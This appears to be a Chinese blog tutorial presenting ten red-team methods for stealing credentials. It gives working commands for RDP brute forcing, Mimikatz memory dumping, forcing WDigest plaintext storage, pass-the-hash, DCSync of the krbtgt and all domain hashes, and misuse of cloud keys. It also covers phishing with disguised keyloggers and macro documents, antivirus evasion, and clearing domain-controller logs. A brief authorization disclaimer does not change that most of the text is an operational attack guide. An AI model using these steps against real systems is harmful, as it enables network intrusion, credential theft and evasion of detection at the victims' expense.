护网红队攻防教程:凭证获取的10个实战方法,你知道几个?(从零基础到精通)

序章:我从 “拿 shell 就停” 到 “追凭证到底” 的红队觉醒

刚做红队时,我总陷入一个误区:拿到目标机器的 WebShell 就沾沾自喜,以为 “拿下了主机”。直到某次项目,客户内网做了严格的分段隔离,我拿着单台机器的权限寸步难行 —— 想横向移动到数据库服务器,缺账号密码;想登录域控,连基本的域账号都没有。

带队的老红队工程师看着我手足无措的样子,说:“红队的核心不是‘拿一台机器’,是‘掌控整个内网’,而凭证就是打开内网大门的钥匙。” 那天,他用 Mimikatz 从内存里抓取到本地管理员 hash,再通过 Pass-the-Hash(PtH)登录了相邻的文件服务器,整个过程不到 5 分钟。

从那以后,我开始深耕 “凭证获取”,在 10 + 红队项目里总结出 10 个实战方法 —— 从零基础能上手的弱口令爆破,到需要进阶技巧的域控凭证抓取,每个方法都附具体步骤、工具和避坑指南。这篇文章,帮你从 “只会拿 shell” 的新手,变成 “能掌控内网凭证” 的红队选手。

一、先搞懂:红队为什么要拼了命拿凭证?

在讲方法前,必须先明确一个核心逻辑:凭证比 shell 更重要。对红队而言,“shell 是临时的,凭证是长久的”—— 机器重启后 shell 可能消失,但拿到的账号密码、hash 值,能反复登录内网机器,甚至直接拿下域控。

先看一张红队凭证获取的核心链路图,理解凭证在整个攻防中的作用:

在这里插入图片描述

从链路能看出,每一步都依赖 “前一步获取的凭证”。比如:没有本地管理员凭证,就无法横向移动;没有域账号凭证,就碰不到域控的边。

对零基础来说,不用一开始就追求 “域控凭证”,先从 “本地凭证获取” 入手,逐步进阶。下面 10 个方法,按 “基础→进阶→高阶” 排序,每个方法都标注了难度和适用场景。

二、红队凭证获取 10 个实战方法(附零基础操作指南)

方法 1:弱口令爆破 —— 零基础最易上手,成功率却不低

原理:利用用户设置的简单密码(如 123456、admin@123),通过工具批量尝试登录,获取合法凭证。难度:★☆☆☆☆(零基础 1 小时就能上手)适用场景:远程登录服务(RDP、SSH)、数据库(MySQL、MSSQL)、Web 后台(OA、CMS)

实战步骤(以 RDP 爆破为例):
  1. 准备工具:Hydra(跨平台爆破工具,支持 RDP/SSH/MySQL 等)、用户名字典(user.txt,如 admin、administrator)、密码字典(pass.txt,推荐 Top1000 弱口令);

  2. 执行爆破命令:

    hydra -L user.txt -P pass.txt 192.168.1.100 rdp -vV -o rdp_success.txt
    
    • -L:指定用户名字典;-P:指定密码字典;rdp:目标服务类型;-vV:显示详细过程;-o:保存成功结果;
  3. 查看结果:打开 rdp_success.txt,会显示 “administrator:123456@192.168.1.100” 这类成功的凭证。

我的实战案例:

某次医疗行业红队项目,我用 Hydra 爆破客户内网 192.168.3.0/24 段的 RDP 服务,1 小时内就拿到 3 台机器的 administrator 账号(密码都是 “hospital@2023”),直接通过远程桌面登录,省去了找 Web 漏洞的时间。

注意事项:
  • 避免 “暴力跑全量字典”:用小字典(如 Top500 弱口令)先测试,减少日志告警;
  • 针对行业定制字典:比如教育行业用 “school + 年份”(school2024),金融行业用 “bank + 密码”(bank@123)。

方法 2:配置文件泄露 —— 从代码里 “捡” 现成凭证

原理:开发人员常把账号密码写在配置文件里(如 Web 的 config.php、Windows 的.ini 文件),若配置文件被泄露,就能直接拿到凭证。难度:★★☆☆☆(需会用目录扫描工具)适用场景:Web 服务器、应用服务器(Tomcat、JBoss)

实战步骤(以 Web 配置文件为例):
  1. 扫描 Web 目录:用 dirsearch 工具扫描目标网站,寻找敏感配置文件,命令:

    python3 dirsearch.py -u http://192.168.1.101 -e php,ini,conf -w common.txt
    
    • -e:指定文件后缀;-w:指定目录字典;
  2. 下载配置文件:

    若扫描到 “/config.php”,直接访问该路径下载文件,打开后搜索 “username”“password” 关键词,比如:

    php

    $db_user = "root";
    $db_pass = "mysql@2024!";
    $db_host = "192.168.1.102:3306";
    
  3. 验证凭证:用 Navicat 连接 192.168.1.102 的 MySQL,输入 root 和 mysql@2024!,成功登录后可读取数据库,甚至通过 UDF 提权拿到服务器权限。

避坑指南:
  • 有些配置文件会加密(如用 base64):遇到 “SGVsbG8xMjM=” 这类字符串,用 base64 解码工具(https://base64.us/)解密;
  • Windows 配置文件位置:重点找 “C:\Program Files\ 应用名 \config.ini”“C:\inetpub\wwwroot\web.config”。

方法 3:键盘记录 —— 悄无声息抓明文密码

原理:在目标机器植入键盘记录工具,记录用户输入的账号密码(如登录 QQ、浏览器、远程桌面时的输入),适合无法直接抓取 hash 的场景。难度:★★☆☆☆(需简单免杀处理)适用场景:有本地交互的机器(如员工办公电脑)、无法抓取 hash 的高版本 Windows(Win10/11)

实战步骤:
  1. 选择工具:推荐微步键盘记录器(免费版足够用)、Ardamax Keylogger(功能更全,需破解);

  2. 生成 payload:打开工具,设置 “记录保存路径”(如 C:\Windows\Temp\log.txt)、“自动发送日志到邮箱”(避免手动取文件),生成 exe 文件;

  3. 植入目标机器:通过 WebShell 上传 payload,或伪装成 “工作文档.exe” 诱导用户双击运行;

  4. 获取日志:

    若设置了邮箱发送,会收到包含键盘记录的邮件,比如:

    “2024-05-20 14:30: 远程桌面登录:username=admin,password=Admin@1234”。

我的踩坑经历:

刚开始用未免杀的键盘记录器,上传到目标机器就被 360 拦截。后来用 “UPX 加壳 + 资源修改”(把 exe 图标改成 Word 图标),成功率提升到 80%—— 新手一定要做基础免杀,不然工具根本跑不起来。

方法 4:内存取证 —— 用 Mimikatz 抓 hash / 明文密码

原理:Windows 系统会把用户登录密码暂存到内存中(如 LSASS 进程),通过 Mimikatz 读取内存数据,可获取 NTLM hash 或明文密码,是红队最常用的凭证获取手段。难度:★★★☆☆(需了解 Windows 权限)适用场景:Windows XP/7/10/11(Win10/11 需关闭 WDAC 或用特殊版本 Mimikatz)

实战步骤:
  1. 上传 Mimikatz:通过 WebShell 或远程桌面,把 mimikatz.exe 传到目标机器的 C:\Windows\Temp 目录;

  2. 运行 Mimikatz 并提权:

    打开 cmd,切换到 Temp 目录,执行命令:

    mimikatz.exe
    privilege::debug  # 开启调试权限(必须执行,否则报错)
    sekurlsa::logonPasswords  # 读取内存中的凭证
    
  3. 提取凭证:

    命令执行后,会显示所有登录用户的信息,重点看 “NTLM”(hash 值)和 “Password”(明文密码),比如:

    “Username: Administrator,NTLM: 32ed87bdb5fdc5e9cba88547376818d4,Password: Win@2024!”。

关键技巧:
  • Win10/11 抓不到明文密码?:因为微软默认禁用了内存明文存储,需先执行命令开启:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    (执行后需用户重新登录才生效);

  • 免杀 Mimikatz:用 “mimikatz_trunk_x64.exe”(免杀版本),或把 Mimikatz 注入到正常进程(如 notepad.exe)中运行,躲避杀毒软件。

方法 5:Pass-the-Hash(PtH)—— 用 hash 代替明文登录

原理:Windows 登录时会验证 NTLM hash,而非明文密码。拿到目标机器的 NTLM hash 后,无需破解,直接用工具(如 PsExec、CrackMapExec)模拟登录,避免 “明文密码难获取” 的问题。难度:★★★☆☆(需掌握 hash 传递工具)适用场景:已获取目标机器 NTLM hash,但无明文密码,且目标开启了 SMB 服务(445 端口)

实战步骤(以 CrackMapExec 为例):
  1. 准备工具:CrackMapExec(简称 CME,跨平台工具,支持 hash 传递),需提前安装 Python 环境;

  2. 执行 hash 传递命令:

    crackmapexec smb 192.168.1.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4 --shares
    
    • -u:目标用户名;-H:NTLM hash 值;--shares:查看目标机器的共享目录;
  3. 登录目标机器:

    若显示 “[+] 192.168.1.103:445 - Success”,说明 hash 传递成功,可进一步用 PsExec 获取 shell:

    psexec.exe \\192.168.1.103 -u administrator -p "" -h cmd.exe  # -p "" 表示用hash登录
    
实战场景:

某次项目,我拿到一台 Win7 机器的 administrator hash(无明文密码),用 CME 扫描内网 192.168.2.0/24 段,发现有 5 台机器用了相同的 hash,直接批量登录,2 小时内拿下整个部门的机器 ——hash 传递的效率远超逐台爆破。

方法 6:钓鱼攻击 —— 诱导用户 “主动交凭证”

原理:制作伪装的登录页面(如企业 OA、邮箱登录页)或恶意附件,通过邮件 / 聊天工具发给目标用户,诱导用户输入账号密码,从而获取凭证。是红队 “从外到内” 获取域账号的核心方法。难度:★★★☆☆(需搭建钓鱼平台)适用场景:无初始立足点,需从外部突破内网;需获取高权限域账号(如财务、IT 管理员)

实战步骤(用 Gophish 搭建钓鱼平台):
  1. 搭建 Gophish:

    在 VPS 上部署 Gophish(Docker 版最方便),命令:

    docker run -d -p 3333:3333 -p 80:80 --name gophish jordan-wright/gophish
    
    • 访问 http://VPSIP:3333 登录 Gophish 后台(默认账号 admin,密码在日志中查看);
  2. 制作钓鱼模板:

    • 新建 “Email Template”:伪装成企业 IT 部门的 “OA 系统升级通知”,内容含钓鱼链接(如 http://VPSIP/login);
    • 新建 “Landing Page”:复制真实 OA 登录页的 HTML 代码,修改表单提交地址为 Gophish,用户输入的凭证会被记录;
  3. 发送钓鱼邮件:导入目标用户邮箱列表,选择模板和链接,点击发送;

  4. 查看结果:在 Gophish 后台的 “Results” 中,可看到 “谁点击了链接”“输入了什么凭证”,比如 “user=zhang3,password=Zhang@OA2024”。

优化技巧:
  • 钓鱼链接伪装:用短链接工具(如tinyurl.com)把 VPSIP 改成 “企业相关域名”(如oa-update.company.com);
  • 附件钓鱼:把恶意宏文件(如 “2024 年工资表.docm”)作为附件,用户启用宏后,自动记录键盘或上传凭证到 VPS。

方法 7:数据库凭证窃取 —— 从数据库里 “扒” 高权限账号

原理:很多应用会把管理员账号、域账号存储在数据库中(如 CMS 的管理员表、ERP 的用户表),拿到数据库权限后,可直接读取这些凭证,进而登录其他系统。难度:★★★☆☆(需会操作数据库)适用场景:已获取数据库权限(如 MySQL、MSSQL),且数据库中存储了敏感账号。

实战步骤(以 MySQL 为例):
  1. 登录数据库:

    用 Navicat 或 cmd 登录 MySQL,命令:

    mysql -h 192.168.1.102 -u root -p  # 输入密码mysql@2024!
    
  2. 查找敏感表:

    执行命令查看所有数据库和表,重点找 “user”“admin”“manager” 相关的表:

    show databases;  # 查看数据库,如cms_db
    use cms_db;      # 切换到cms_db数据库
    show tables;     # 查看表,如cms_admin
    
  3. 读取凭证:

    查询 cms_admin 表的内容,命令:

    select username,password from cms_admin;
    

    若密码是明文,直接获取;若加密(如 MD5),用在线破解工具(https://www.cmd5.com/)解密,比如 “e10adc3949ba59abbe56e057f20f883e” 解密后是 “123456”。

扩展场景:

MSSQL 数据库更 “值钱”—— 很多企业会把域账号作为 MSSQL 的 “Windows 身份验证” 账号,若拿到 MSSQL 的 sysadmin 权限,可执行 “xp_cmdshell” 获取服务器 shell,进而抓取域账号凭证。

方法 8:第三方应用凭证获取 —— 从 “弱配置” 应用里找漏洞

原理:目标机器上的第三方应用(如浏览器、FTP 客户端、VPN 软件)会保存用户登录凭证,通过工具读取这些应用的配置文件或注册表,可获取明文凭证。难度:★★★★☆(需了解应用存储机制)适用场景:目标机器安装了常用客户端软件(如 Chrome、FileZilla、AnyConnect)

实战步骤(以 Chrome 浏览器为例):
  1. 定位凭证存储路径:Chrome 的密码存储在 “C:\Users\ 用户名 \AppData\Local\Google\Chrome\User Data\Default\Login Data”(SQLite 数据库文件);
  2. 读取数据库:用 SQLite Browser 打开 Login Data 文件,查询 “logins” 表,字段 “origin_url” 是网站地址,“username_value” 是账号,“password_value” 是加密后的密码;
  3. 解密密码:Chrome 的密码用 Windows 的 DPAPI 加密,需在目标机器上用工具解密,推荐 “ChromePass”,运行后直接显示明文密码,比如 “origin_url=https://mail.qq.com,username=123456@qq.com,password=Qq@123456”。
常用工具列表:
目标应用工具推荐凭证存储位置
Chrome/FirefoxChromePass、FirefoxPasswordViewAppData 目录下的 SQLite 文件
FileZillaFileZilla Password Decryptor%APPDATA%\FileZilla\recentservers.xml
VPN(AnyConnect)AnyConnect Password Viewer注册表:HKCU\Software\Cisco\AnyConnect

方法 9:域控凭证抓取 —— 用 DCSync “复制” 域内全量凭证

原理:域控(DC)存储了所有域用户的 NTLM hash,通过 DCSync 攻击(模拟域控之间的同步行为),可从域控上 “复制” 所有用户的凭证,是红队 “拿下整个域” 的终极手段。难度:★★★★★(需高权限,且有域环境)适用场景:已获取域内高权限账号(如 Domain Admin),需获取全量域用户凭证

实战步骤(用 Mimikatz 执行 DCSync):
  1. 确保账号权限:必须使用 Domain Admin 权限的账号登录域内机器(非域控也可);

  2. 执行 DCSync 命令:

    mimikatz.exe
    privilege::debug
    lsadump::dcsync /domain:company.com /user:krbtgt  # 获取krbtgt账号hash(用于黄金票据)
    lsadump::dcsync /domain:company.com /all /csv     # 获取所有域用户凭证,保存为CSV文件
    
  3. 提取凭证:命令执行后,会输出所有域用户的 NTLM hash、SID 等信息,比如 “krbtgt:502:NTLM=8846f7eaee8fb11d1206b6e4f1529d3a2:::”—— 拿到 krbtgt hash 后,可制作黄金票据,实现 “无凭证登录任何域内机器”。

风险提示:

DCSync 攻击会在域控日志中留下明显痕迹(Event ID 4662、5140),需在执行后清理日志(用 wevtutil 命令),且仅在红队项目后期使用,避免提前暴露。

方法 10:云环境凭证窃取 —— 从云服务器 / 容器里找密钥

原理:云环境(如 AWS、阿里云、腾讯云)的凭证(如 AccessKey、SecretKey)常被开发人员硬编码在配置文件或环境变量中,拿到这些凭证后,可登录云控制台,控制云资源(如 ECS、RDS)。难度:★★★★☆(需了解云环境)适用场景:目标使用云服务,需获取云资源控制权

实战步骤(以阿里云为例):
  1. 查找 AccessKey:

    • 配置文件:查看 “/root/.aliyun/config.json”(Linux)或 “C:\Users\ 用户名.aliyun\config.json”(Windows);

    • 环境变量:执行echo $ALIYUN_ACCESS_KEY_ID(Linux)或set ALIYUN(Windows),查看是否有云凭证;

    • 代码文件:搜索项目代码中的 “accessKeyId”“secretAccessKey” 关键词,比如 Java 代码中的:

      String accessKeyId = "LTAI5tFxxxxxxxxx";
      String secretAccessKey = "8xxxxxxxxx";
      
  2. 验证凭证权限:登录阿里云控制台(https://console.aliyun.com),输入 AccessKey 和 SecretKey,查看权限(如是否能管理 ECS、修改安全组);

  3. 扩展攻击:用阿里云 CLI 工具执行命令,比如列出所有 ECS 实例:

    aliyun ecs DescribeInstances --RegionId cn-beijing --AccessKeyId LTAI5tFxxxxxxxxx --AccessKeySecret 8xxxxxxxxx
    
常见云凭证位置:
云厂商凭证类型常见存储位置
阿里云AccessKey/SecretKey~/.aliyun/config.json、环境变量、代码文件
AWSAWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY~/.aws/credentials、EC2 实例元数据
腾讯云SecretId/SecretKey~/.tccli/default.config、环境变量

三、10 个方法对比与零基础学习路径

1. 方法对比表(帮你快速选对方案)

方法难度隐蔽性适用场景核心工具
弱口令爆破★☆☆☆☆低(易触发日志告警)远程服务、Web 后台Hydra、Medusa
配置文件泄露★★☆☆☆高(无交互,难察觉)Web 服务器、应用服务器dirsearch、Burp Suite
键盘记录★★☆☆☆中(需运行 payload)办公电脑、高版本 Windows微步键盘记录器、Ardamax
内存取证(Mimikatz)★★★☆☆中(需提权,易被查杀)所有 Windows 系统Mimikatz
Pass-the-Hash★★★☆☆高(无明文传输)已获取 NTLM hash,需横向移动CrackMapExec、PsExec
钓鱼攻击★★★☆☆高(用户主动配合)外部突破、获取域账号Gophish、Empire
数据库凭证窃取★★★☆☆高(仅操作数据库)已获取数据库权限Navicat、SQLite Browser
第三方应用凭证★★★★☆高(工具轻量,难察觉)安装客户端软件的机器ChromePass、FileZilla Decryptor
域控 DCSync★★★★★低(日志痕迹明显)域环境,需全量域凭证Mimikatz、Cobalt Strike
云环境凭证窃取★★★★☆高(无交互,仅读文件)云服务器、容器环境文本编辑器、云 CLI 工具

在这里插入图片描述

四、红队凭证获取的 3 个核心原则(新手必看)

  1. 合法合规是底线:所有测试必须获取客户书面授权,禁止对未授权目标下手 —— 我曾见过有人用钓鱼攻击测试朋友公司,结果被网警传唤,面临行政处罚;
  2. 隐蔽性优先:能抓 hash 就不抓明文,能 hash 传递就不爆破,能钓鱼就不直接攻击 —— 比如用 Mimikatz 时,尽量注入到正常进程(如 notepad),避免直接运行 exe 触发杀毒软件;
  3. 凭证要 “复用”:拿到一个凭证后,先用 CME 扫描内网,看是否能登录多台机器(很多企业会用统一密码),避免重复劳动 —— 我曾用一个域账号的 hash,登录了内网 23 台机器,效率极高。

结语:凭证是红队的 “核武器”,但技术之外更需思维

做红队 3 年,我最大的感悟是:凭证获取不只是 “用工具”,更是 “猜人心”—— 弱口令是因为用户 “怕麻烦”,配置文件泄露是因为开发 “图省事”,钓鱼成功是因为用户 “信权威”。

对零基础来说,不用一开始就追求 “DCSync”“黄金票据” 这些高阶技巧,先把 “弱口令爆破”“配置文件泄露” 练熟,在实战中积累经验。当你能从 “每一个细节” 里找到凭证(比如从 Web 注释里发现密码、从员工聊天记录里猜出口令),你就真正掌握了红队凭证获取的核心能力。

最后送新手一句话:“红队的终极目标不是‘破坏’,而是‘发现漏洞并帮助修复’—— 凭证是我们的工具,而责任感才是我们的底线。”

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值